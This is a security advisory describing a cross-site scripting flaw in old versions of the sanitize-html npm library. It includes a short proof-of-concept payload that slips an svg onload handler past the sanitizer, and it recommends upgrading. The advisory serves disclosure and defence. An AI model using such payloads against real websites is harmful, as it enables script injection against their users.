Sanitize-html is a library for scrubbing html input of malicious values. Versions 1.11.1 and below are vulnerable to cross site scripting (XSS) in certain scenarios: If allowed at least one nonTextTags, the result is a potential XSS vulnerability.

Affected: npm: sanitize-html

Affected versions of `sanitize-html` are vulnerable to cross-site scripting when allowedTags includes at least one `nonTextTag`.

## Proof of Concept

```js var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!'; var clean = sanitizeHtml(dirty, { allowedTags: [ 'textarea' ] });

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>! ```

## Recommendation

Update to version 1.11.4 or later.